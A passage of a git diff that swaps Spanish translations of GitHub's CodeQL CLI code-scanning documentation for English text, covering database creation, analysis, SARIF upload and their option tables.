reusables.code-scanning.codeql-context-for-actions-and-third-party-tools %} @@ -40,17 +39,17 @@ redirect_from: {% data reusables.code-scanning.upload-sarif-ghas %} -## Acerca de {% data variables.product.prodname_codeql_cli %} +## About the {% data variables.product.prodname_codeql_cli %} {% data reusables.code-scanning.what-is-codeql-cli %} -Utiliza el {% data variables.product.prodname_codeql_cli %} para analizar: +Use the {% data variables.product.prodname_codeql_cli %} to analyze: -- Lenguajes dinámicos, por eje mplo, JavaScript y Python. -- Lenguajes compilados, por ejemplo, C/C++, C# y Java. -- Bases de código escritas en varios lenguajes. +- Dynamic languages, for example, JavaScript and Python. +- Compiled languages, for example, C/C++, C# and Java. +- Codebases written in a mixture of languages. -Para obtener más información, consulta la sección "[Instalar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)". +For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)." {% data reusables.code-scanning.licensing-note %} @@ -67,28 +66,28 @@ Para obtener más información, consulta la sección "[Instalar el {% data varia {% ifversion ghes = 3.1 %} -Agrega el {% data variables.product.prodname_codeql_cli %} o el {% data variables.product.prodname_codeql_runner %} a tu sistema de terceros y luego llama a la herramienta para analizar código y cargar los resultados de SARIF a {% data variables.product.product_name %}. Las alertas del {% data variables.product.prodname_code_scanning %} resultantes se muestran junto con cualquier alerta que se genere dentro de {% data variables.product.product_name %}. +You add the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %} to your third-party system, then call the tool to analyze code and upload the SARIF results to {% data variables.product.product_name %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}. {% data reusables.code-scanning.upload-sarif-ghas %} -## Comparar el {% data variables.product.prodname_codeql_cli %} y el {% data variables.product.prodname_codeql_runner %} +## Comparing {% data variables.product.prodname_codeql_cli %} and {% data variables.product.prodname_codeql_runner %} {% data reusables.code-scanning.what-is-codeql-cli %} -El {% data variables.product.prodname_codeql_runner %} es una herramienta de línea de comandos que utiliza el {% data variables.product.prodname_codeql_cli %} para analizar el código y para cargar los resultados a {% data variables.product.product_name %}. La herramienta simula la ejecución del análisis nativamente dentro de {% data variables.product.product_name %} utilizando acciones. El ejecutor puede integrarse con ambientes de compilación más complejos que el CLI, pero esta capacidad lo hace más difícil de configurar y más propenso a errores. También es más difícil depurar cualquier problemas. Generalmente, es mejor utilizar directamente el {% data variables.product.prodname_codeql_cli %} a menos de que no sea compatible con tu caso de uso. +The {% data variables.product.prodname_codeql_runner %} is a command-line tool that uses the {% data variables.product.prodname_codeql_cli %} to analyze code and upload the results to {% data variables.product.product_name %}. The tool mimics the analysis run natively within {% data variables.product.product_name %} using actions. The runner is able to integrate with more complex build environments than the CLI, but this ability makes it more difficult and error-prone to set up. It is also more difficult to debug any problems. Generally, it is better to use the {% data variables.product.prodname_codeql_cli %} directly unless it doesn't support your use case. -Utiliza el {% data variables.product.prodname_codeql_cli %} para analizar: +Use the {% data variables.product.prodname_codeql_cli %} to analyze: -- Lenguajes dinámicos, por eje mplo, JavaScript y Python. -- Las bases de código con un lenguaje compilado que pueden crearse con un solo comando o ejecutando un solo script. +- Dynamic languages, for example, JavaScript and Python. +- Codebases with a compiled language that can be built with a single command or by running a single script. -Para obtener más información, consulta la sección "[Instalar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)". +For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)." {% data reusables.code-scanning.use-codeql-runner-not-cli %} {% data reusables.code-scanning.deprecation-codeql-runner %} -Para obtener más información, consulta la sección "[Ejecutar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)". +For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." {% endif %} @@ -96,9 +95,9 @@ Para obtener más información, consulta la sección "[Ejecutar el {% data varia {% ifversion ghes = 3.0 %} {% data reusables.code-scanning.upload-sarif-ghas %} -Puedes agregar el {% data variables.product.prodname_codeql_runner %} a tu sistema de terceros y luego llamar a la herramienta para analizar código y cargar los resultados de SARIF a {% data variables.product.product_name %}. Las alertas del {% data variables.product.prodname_code_scanning %} resultantes se muestran junto con cualquier alerta que se genere dentro de {% data variables.product.product_name %}. +You add the {% data variables.product.prodname_codeql_runner %} to your third-party system, then call the tool to analyze code and upload the SARIF results to {% data variables.product.product_name %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}. {% data reusables.code-scanning.deprecation-codeql-runner %} -Para configurar el escaneo de código en tu sistema de IC, consulta la sección "[Ejecutar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)". +To set up code scanning in your CI system, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." {% endif %} diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md index d76f28c52f..8d71a5fd2e 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: Configurar el CLI de CodeQL en tu sistema de IC -shortTitle: Configurar el CLI de CodeQL -intro: 'Puedes configurar tu sistema de integración continua para que ejecute el {% data variables.product.prodname_codeql_cli %}, realice un análisis de {% data variables.product.prodname_codeql %} y cargue los resultados en {% data variables.product.product_name %} para mostrarlos como alertas del {% data variables.product.prodname_code_scanning %}.' +title: Configuring CodeQL CLI in your CI system +shortTitle: Configure CodeQL CLI +intro: 'You can configure your continuous integration system to run the {% data variables.product.prodname_codeql_cli %}, perform {% data variables.product.prodname_codeql %} analysis, and upload the results to {% data variables.product.product_name %} for display as {% data variables.product.prodname_code_scanning %} alerts.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -22,39 +22,38 @@ topics: - CI - SARIF --- - {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## Acerca de generar los resultados del escaneo de código con el {% data variables.product.prodname_codeql_cli %} +## About generating code scanning results with {% data variables.product.prodname_codeql_cli %} -Una vez que hayas puesto el {% data variables.product.prodname_codeql_cli %} disponible en los servidores de tu sistema de IC y de que te hayas asegurado que se pueden autenticar con {% data variables.product.product_name %}, estarás listo para generar datos. +Once you've made the {% data variables.product.prodname_codeql_cli %} available to servers in your CI system, and ensured that they can authenticate with {% data variables.product.product_name %}, you're ready to generate data. -Utilizarás tres comandos diferentes para generar los resultados y cargarlos a {% data variables.product.product_name %}: +You use three different commands to generate results and upload them to {% data variables.product.product_name %}: {% ifversion fpt or ghes > 3.1 or ghae or ghec %} -1. `database create` para crear una base de datos de {% data variables.product.prodname_codeql %} para representar la estructura jerárquica de cada lenguage de programación compatible en el repositorio. -2. `database analyze` para ejecutar consultas para analizar cada base de datos de {% data variables.product.prodname_codeql %} y resumir los resultados en un archivo SARIF. -3. `github upload-results` para cargar los archivos sarif resultantes a {% data variables.product.product_name %} en donde los resultados se empatan con una rama o solicitud de cambios y se muestran como alertas del {% data variables.product.prodname_code_scanning %}. +1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of each supported programming language in the repository. +2. ` database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. +3. `github upload-results` to upload the resulting SARIF files to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. {% else %} -1. `database create` para crear una base de datos de {% data variables.product.prodname_codeql %} para representar la estructura jerárquica de un lenguage de programación compatible en el repositorio. -2. `database analyze` para ejecutar consultas para analizar la base de datos de {% data variables.product.prodname_codeql %} y resumir los resultados en un archivo SARIF. -3. `github upload-results` para cargar el archivo sarif resultantes a {% data variables.product.product_name %} en donde los resultados se empatan con una rama o solicitud de cambios y se muestran como alertas del {% data variables.product.prodname_code_scanning %}. +1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of a supported programming language in the repository. +2. ` database analyze` to run queries to analyze the {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. +3. `github upload-results` to upload the resulting SARIF file to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. {% endif %} -Puedes mostrar la ayuda en la línea de comandos para apoyarte sobre cualquier comando utilizando la opción `--help` . +You can display the command-line help for any command using the `--help` option. {% data reusables.code-scanning.upload-sarif-ghas %} -## Crear bases de datos de {% data variables.product.prodname_codeql %} para analizar +## Creating {% data variables.product.prodname_codeql %} databases to analyze -1. Verifica que el código que quieres analizar: - - Para una rama, verifica el encabezado de la rama que quieras analizar. - - Para una solicitud de cambios, verifica ya sea la confirmación de encabezado de la solicitud o una confirmación de fusión generada por {% data variables.product.prodname_dotcom %} de dicha solicitud. -2. Configura el ambiente de la base de código, asegurándote de que todas las dependencias estén disponibles. Para obtener más información, consulta las secciones [Crear bases de datos para lenguajes no compilados](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) y [Crear bases de datos para lenguajes compilados](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) en la documentación del {% data variables.product.prodname_codeql_cli %}. -3. Encuentra el comando de compilación, en caso de que exista, para la base de código. Habitualmente, esta es una variable en un archivo de configración en el sistema de IC. -4. Ejecuta `codeql database create` desde la raíz de verificación de tu repositorio y recompila la base de código. +1. Check out the code that you want to analyze: + - For a branch, check out the head of the branch that you want to analyze. + - For a pull request, check out either the head commit of the pull request, or check out a {% data variables.product.prodname_dotcom %}-generated merge commit of the pull request. +2. Set up the environment for the codebase, making sure that any dependencies are available. For more information, see [Creating databases for non-compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) and [Creating databases for compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) in the documentation for the {% data variables.product.prodname_codeql_cli %}. +3. Find the build command, if any, for the codebase. Typically this is available in a configuration file in the CI system. +4. Run `codeql database create` from the checkout root of your repository and build the codebase. {% ifversion fpt or ghes > 3.1 or ghae or ghec %} ```shell # Single supported language - create one CodeQL databsae @@ -71,147 +70,24 @@ Puedes mostrar la ayuda en la línea de comandos para apoyarte sobre cualquier c {% endif %} {% note %} - **Nota:** Si utilizas una compilación que usa contenedores, necesitas ejecutar el {% data variables.product.prodname_codeql_cli %} dentro del contenedor en donde toma lugar tu tarea de compilación. + **Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_cli %} inside the container where your build task takes place. {% endnote %} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Opción - - Requerido - - Uso -
- <database> - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica el nombre y ubicación de un directorio a crear para la base de datos de {% data variables.product.prodname_codeql %}. El comando fallará si intentas sobrescribir un directorio existente. Si también especificas el --db-cluster, este es el directorio padre y se crea un subdirectorio para cada lenguaje analizado. -
- `--language` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica el identificador del lenguaje para el cual se creará la base de datos, debe ser uno de entre: {% data reusables.code-scanning.codeql-languages-keywords %} (utiliza javascript para analizar el código en TypeScript). -
- {% ifversion fpt or ghes > 3.1 or ghae or ghec %} cuando se utiliza con `--db-cluster`, la opción acepta una lista separada por comas o puede especificarse más de una vez.{% endif %} - - -
- `--command` - - - Recomendado. Utilízalo para especificar el comando o script de compilación que invoca el proceso de compilación para la base de código. Los comandos se ejecutan desde la carpeta actual o, cuando se define, desde `--source-root`. No se necesita para analizar Python y JavaScript/TypeScript. -
- {% ifversion fpt or ghes > 3.1 or ghae or ghec %} - - -
- `--db-cluster` - - - Opcional. Utiliza las bases de código multi-lenguaje para generar una base de datos para cada lenguaje que especifica `--language`. -
- `--no-run-unnecessary-builds` - - - Recomendado. Utilízalo para suprimir el comando de compilación para los lenguajes en donde el {% data variables.product.prodname_codeql_cli %} no necesite monitorear la compilación (por ejemplo, Python y JavaScript/TypeScript). -
- {% endif %} - - -
- `--source-root` - - - Opcional. Utilízalo si ejecutas el CLI fuera de la raíz de verificación del repositorio. Predeterminadamente, el comando de database create asume que el directorio actual es el directorio raíz de los archivos fuente, utiliza esta opción para especificar una ubicación diferente. -
+| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name and location of a directory to create for the {% data variables.product.prodname_codeql %} database. The command will fail if you try to overwrite an existing directory. If you also specify `--db-cluster`, this is the parent directory and a subdirectory is created for each language analyzed.| +| `--language` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the identifier for the language to create a database for, one of: `{% data reusables.code-scanning.codeql-languages-keywords %}` (use `javascript` to analyze TypeScript code). {% ifversion fpt or ghes > 3.1 or ghae or ghec %}When used with `--db-cluster`, the option accepts a comma-separated list, or can be specified more than once.{% endif %} +| `--command` | | Recommended. Use to specify the build command or script that invokes the build process for the codebase. Commands are run from the current folder or, where it is defined, from `--source-root`. Not needed for Python and JavaScript/TypeScript analysis. | {% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--db-cluster` | | Optional. Use in multi-language codebases to generate one database for each language specified by `--language`. +| `--no-run-unnecessary-builds` | | Recommended. Use to suppress the build command for languages where the {% data variables.product.prodname_codeql_cli %} does not need to monitor the build (for example, Python and JavaScript/TypeScript). {% endif %} +| `--source-root` | | Optional. Use if you run the CLI outside the checkout root of the repository. By default, the `database create` command assumes that the current directory is the root directory for the source files, use this option to specify a different location. | -Para obtener más información, consulta la sección [Crear bases de datos de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) en la documentación del {% data variables.product.prodname_codeql_cli %}. +For more information, see [Creating {% data variables.product.prodname_codeql %} databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. -### {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Ejemplo con un solo lenguaje{% else %}Ejemplo básico{% endif %} +### {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Single language example{% else %}Basic example{% endif %} -Este ejemplo crea una base de datos de {% data variables.product.prodname_codeql %} para el repositorio que se verificón en `/checkouts/example-repo`. Utiliza el extractor de JavaScript para crear una representación jerárquica del código de JavaScript y TypeScript en el repositorio. La base de datos resultante se almacena en `/codeql-dbs/example-repo`. +This example creates a {% data variables.product.prodname_codeql %} database for the repository checked out at `/checkouts/example-repo`. It uses the JavaScript extractor to create a hierarchical representation of the JavaScript and TypeScript code in the repository. The resulting database is stored in `/codeql-dbs/example-repo`. ``` $ codeql database create /codeql-dbs/example-repo --language=javascript \ @@ -228,16 +104,16 @@ $ codeql database create /codeql-dbs/example-repo --language=javascript \ ``` {% ifversion fpt or ghes > 3.1 or ghae or ghec %} -### Ejemplo de lenguaje múltiple +### Multiple language example -Este ejemplo crea dos bases de datos de {% data variables.product.prodname_codeql %} para el repositorio que se verificó en `/checkouts/example-repo-multi`. Esta utiliza: +This example creates two {% data variables.product.prodname_codeql %} databases for the repository checked out at `/checkouts/example-repo-multi`. It uses: -- `--db-cluster` para solicitar el análisis de más de un lenguaje. -- `--language` para especificar para qué lenguajes creará bases de datos. -- `--command` para decirle a la herramienta el comando de compilación para la base de código, aquí es `make`. -- `--no-run-unnecessary-builds` para decirle a la herramienta que se salte el comando de compilación para los lenguajes en donde no se necesita (como Pyhon). +- `--db-cluster` to request analysis of more than one language. +- `--language` to specify which languages to create databases for. +- `--command` to tell the tool the build command for the codebase, here `make`. +- `--no-run-unnecessary-builds` to tell the tool to skip the build command for languages where it is not needed (like Python). -La base de datos resultante se almacena en los subdirectorios `python` y `cpp` de `/codeql-dbs/example-repo-multi`. +The resulting databases are stored in `python` and `cpp` subdirectories of `/codeql-dbs/example-repo-multi`. ``` $ codeql database create /codeql-dbs/example-repo-multi \ @@ -260,15 +136,15 @@ $ ``` {% endif %} -## Analizar una base de datos de {% data variables.product.prodname_codeql %} +## Analyzing a {% data variables.product.prodname_codeql %} database -1. Crea una base de datos de {% data variables.product.prodname_codeql %} (mira el ejemplo anterior).{% if codeql-packs %} -2. Opcionalmente, ejecuta `codeql pack download` para descargar cualquier paquete de {% data variables.product.prodname_codeql %} (beta) que quieras ejecutar durante el análisis. Para obtener más información, consulta la sección "[Descargar y usar los paquetes de consultas de {% data variables.product.prodname_codeql %}](#downloading-and-using-codeql-query-packs)" a continuación. +1. Create a {% data variables.product.prodname_codeql %} database (see above).{% if codeql-packs %} +2. Optional, run `codeql pack download` to download any {% data variables.product.prodname_codeql %} packs (beta) that you want to run during analysis. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} query packs](#downloading-and-using-codeql-query-packs)" below. ```shell codeql pack download <packs> ``` {% endif %} -3. Ejecuta `codeql database analyze` en la base de datos y especifica qué {% if codeql-packs %}paquetes o {% endif %}consultas utilizar. +3. Run `codeql database analyze` on the database and specify which {% if codeql-packs %}packs and/or {% endif %}queries to use. ```shell codeql database analyze <database> --format=<format> \ --output=<output> {% if codeql-packs %}<packs,queries>{% else %} <queries>{% endif %} @@ -277,7 +153,7 @@ $ {% ifversion fpt or ghes > 3.1 or ghae or ghec %} {% note %} -**Nota:** Si analizaste más de una base de datos de {% data variables.product.prodname_codeql %} para una confirmación simple, debes especificar una categoría SARIF para cada conjunto de resultados que se generaron con este comando. Cuando cargas los resultados en {% data variables.product.product_name %}, el {% data variables.product.prodname_code_scanning %} utiliza esta categoría para almacenar los resultados para cada lenguaje por separado. Si te olvidas de hacerlo, cada carga sobreescribe los resultados anteriores. +**Note:** If you analyze more than one {% data variables.product.prodname_codeql %} database for a single commit, you must specify a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.product_name %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results. ```shell codeql database analyze <database> --format=<format> \ @@ -285,137 +161,26 @@ codeql database analyze <database> --format=<format> \ {% if codeql-packs %}<packs,queries>{% else %}<queries>{% endif %} ``` {% endnote %} - {% endif %} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Opción - - Requerido - - Uso -
- <database> - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica la ruta del directorio que contiene la base de datos de {% data variables.product.prodname_codeql %} a analizar. -
- <packs,queries> - - - Especifica los paquetes o consultas de {% data variables.product.prodname_codeql %} a ejecutar. Para ejecutar las consultas estándar que se utilizan para el {% data variables.product.prodname_code_scanning %}, omite este parámetro. Para ver el resto de las suites de consultas que se incluyen en el paquete del {% data variables.product.prodname_codeql_cli %}, revisa /<extraction-root>/codeql/qlpacks/codeql-<language>/codeql-suites. Para obtener más información sobre cómo crear tu suite de consultas, dirígete a la sección "Crear suites de consultas de CodeQL en la documentación para el {% data variables.product.prodname_codeql_cli %}. -
- `--format` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica el formato del archivo de resultados que generó el comando. Para cargar a {% data variables.product.company_short %}, este debe ser: {% ifversion fpt or ghae or ghec %}sarif-latest{% else %}sarifv2.1.0{% endif %}. Para obtener más información, consulta la sección "Soporte de SARIF para {% data variables.product.prodname_code_scanning %}". -
- `--output` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica dónde guardar el archivo de resultados SARIF.{% ifversion fpt or ghes > 3.1 or ghae or ghec %} -
- --sarif-category - - {% octicon "question" aria-label="Required with multiple results sets" %} - - Opcional para el análisis de bases de datos simples. Requerido para definir el idioma cuando analizas bases de datos múltiples para una confirmación simple en un repositorio. Especifica una categoría para incluir en el archivo de resultados SARIF para su análisis. Se utiliza una categoría para distinguir entre análisis múltiples para la misma herramienta y confirmación, pero se realiza en lenguajes diferentes o en partes diferentes del código.{% endif %}{% if codeql-packs %} -
- <packs> - - - Opcional. Utilízalo si descargaste paquetes de consultas de CodeQL y quieres ejecutar las consultas predeterminadas o suites de consultas especificadas en estos. Para obtener más información, consulta la sección "Descargar y utilizar paquetes de {% data variables.product.prodname_codeql %}".{% endif %} -
- `--threads` - - - Opcional. Utilízala si quieres usar más de un subproceso para ejecutar consultas. El valor predeterminado es 1. Puedes especificar más subprcesos para agilizar la ejecución de la consulta. Para configurar la cantidad de subprocesos en la cantidad de procesadores lógicos, especifica 0. -
- `--verbose` - - - Opcional. Utilízalo para obtener información más detallada sobre el proceso de análisis{% ifversion fpt or ghes > 3.1 or ghae or ghec %} y datos de diagnóstico del proceso de creación de bases de datos{% endif %}. -
-Para obtener más información, consulta la sección [Analizar las bases de datos con el {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) en la documentación del {% data variables.product.prodname_codeql_cli %}. +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the path for the directory that contains the {% data variables.product.prodname_codeql %} database to analyze. | +| `` | | Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. To see the other query suites included in the {% data variables.product.prodname_codeql_cli %} bundle, look in `//codeql/qlpacks/codeql-/codeql-suites`. For information about creating your own query suite, see [Creating CodeQL query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. +| `--format` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the format for the results file generated by the command. For upload to {% data variables.product.company_short %} this should be: {% ifversion fpt or ghae or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." +| `--output` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify where to save the SARIF results file.{% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--sarif-category` | {% octicon "question" aria-label="Required with multiple results sets" %} | Optional for single database analysis. Required to define the language when you analyze multiple databases for a single commit in a repository. Specify a category to include in the SARIF results file for this analysis. A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% endif %}{% ifversion fpt or ghes > 3.3 or ghae or ghec %} +| `--sarif-add-query-help` | | Optional. Use if you want to include any available markdown-rendered query help for custom queries used in your analysis. Any query help for custom queries included in the SARIF output will be displayed in the code scanning UI if the relevant query generates an alert. For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files) in the documentation for the {% data variables.product.prodname_codeql_cli %}.{% endif %}{% if codeql-packs %} +| `` | | Optional. Use if you have downloaded CodeQL query packs and want to run the default queries or query suites specified in the packs. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} packs](#downloading-and-using-codeql-query-packs)."{% endif %} +| `--threads` | | Optional. Use if you want to use more than one thread to run queries. The default value is `1`. You can specify more threads to speed up query execution. To set the number of threads to the number of logical processors, specify `0`. +| `--verbose` | | Optional. Use to get more detailed information about the analysis process{% ifversion fpt or ghes > 3.1 or ghae or ghec %} and diagnostic data from the database creation process{% endif %}. -### Ejemplo básico -Este ejemplo analiza una base de datos de {% data variables.product.prodname_codeql %} que se almacena en `/codeql-dbs/example-repo` y guarda los resultados como un archivo SARIF: `/temp/example-repo-js.sarif`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Este utiliza `--sarif-category` para incluir información adicional en el archivo SARIF que identifica los resultados como JavaScript. Esto es escencial cuando tienes más de una base de datos de {% data variables.product.prodname_codeql %} que analizar para una sola confirmación en un repositorio.{% endif %} +For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. + +### Basic example + +This example analyzes a {% data variables.product.prodname_codeql %} database stored at `/codeql-dbs/example-repo` and saves the results as a SARIF file: `/temp/example-repo-js.sarif`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}It uses `--sarif-category` to include extra information in the SARIF file that identifies the results as JavaScript. This is essential when you have more than one {% data variables.product.prodname_codeql %} database to analyze for a single commit in a repository.{% endif %} ``` $ codeql database analyze /codeql-dbs/example-repo \ @@ -430,16 +195,16 @@ $ codeql database analyze /codeql-dbs/example-repo \ > Interpreting results. ``` -## Cargar resultados en {% data variables.product.product_name %} +## Uploading results to {% data variables.product.product_name %} {% data reusables.code-scanning.upload-sarif-alert-limit %} -Antes de que puedas cargar los resultados a {% data variables.product.product_name %}, debes determinar la mejor forma de pasar el token de acceso personal o de la {% data variables.product.prodname_github_app %} que creaste anteriormente al {% data variables.product.prodname_codeql_cli %} (consulta la sección [Instalar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). Te recomendamos que revises las instrucciones de tu sistema de IC sobre el uso seguro para un almacenamiento de secretos. El {% data variables.product.prodname_codeql_cli %} es compatible con: +Before you can upload results to {% data variables.product.product_name %}, you must determine the best way to pass the {% data variables.product.prodname_github_app %} or personal access token you created earlier to the {% data variables.product.prodname_codeql_cli %} (see [Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). We recommend that you review your CI system's guidance on the secure use of a secret store. The {% data variables.product.prodname_codeql_cli %} supports: -- Pasar el token al CLI a través de una entrada estándar utilizando la opción `--github-auth-stdin` (recomendado). -- Guardar el secreto en la variable de ambiente `GITHUB_TOKEN` y ejecutando el CLI sin incluir la opción `--github-auth-stdin`. +- Passing the token to the CLI via standard input using the `--github-auth-stdin` option (recommended). +- Saving the secret in the environment variable `GITHUB_TOKEN` and running the CLI without including the `--github-auth-stdin` option. -Cuando decidas cuál será el método más seguro y confiable para tu servidor de IC, ejecuta `codeql github upload-results` en cada archivo de resultados SARIF e incluye `--github-auth-stdin`, a menos de que el token esté disponible en la variable de ambiente `GITHUB_TOKEN`. +When you have decided on the most secure and reliable method for your CI server, run `codeql github upload-results` on each SARIF results file and include `--github-auth-stdin` unless the token is available in the environment variable `GITHUB_TOKEN`. ```shell echo "$UPLOAD_TOKEN" | codeql github upload-results --repository=<repository-name> \ @@ -447,110 +212,20 @@ Cuando decidas cuál será el método más seguro y confiable para tu servidor d {% ifversion ghes > 3.0 or ghae %}--github-url=<URL> {% endif %}--github-auth-stdin ``` - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Opción - - Requerido - - Uso -
- `--repository` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica el OWNER/NAME del repositorio al cual quieres cargar los datos. El propietario debe ser una organización dentro de una empresa que tenga una licencia de {% data variables.product.prodname_GH_advanced_security %} y la {% data variables.product.prodname_GH_advanced_security %} debe estar habilitada para el repositorio{% ifversion fpt or ghec %}, a menos de que este sea público{% endif %}. Para obtener más información, consulta la sección "Administrar la configuración de seguridad y análisis para tu repositorio". -
- `--ref` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica el nombre de la ref que verificaste y analizaste para que los resultados puedan empatarse con el código correcto. Para una rama, utiliza: refs/heads/BRANCH-NAME, para la confirmación de encabezado de una solicitud de cambios utiliza refs/pulls/NUMBER/head o, para la confirmación de fusión que genera {% data variables.product.prodname_dotcom %} para una solicitud de cambios, utiliza refs/pulls/NUMBER/merge. -
- `--commit` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica el SHA completo de la confirmación que analizaste. -
- `--sarif` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica el archivo SARIF a cargar.{% ifversion ghes > 3.0 or ghae %} -
- `--github-url` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica la URL de {% data variables.product.product_name %}.{% endif %} -
- `--github-auth-stdin` - - - Opcional. Utilízala para pasar al CLI la {% data variables.product.prodname_github_app %} o token de acceso personal que creaste para autenticarse con la API de REST de {% data variables.product.company_short %} a través de una entrada estándar. Esto no se necesita si el comando tiene acceso a una variable de ambiente de GITHUB_TOKEN que se configuró con este token. -
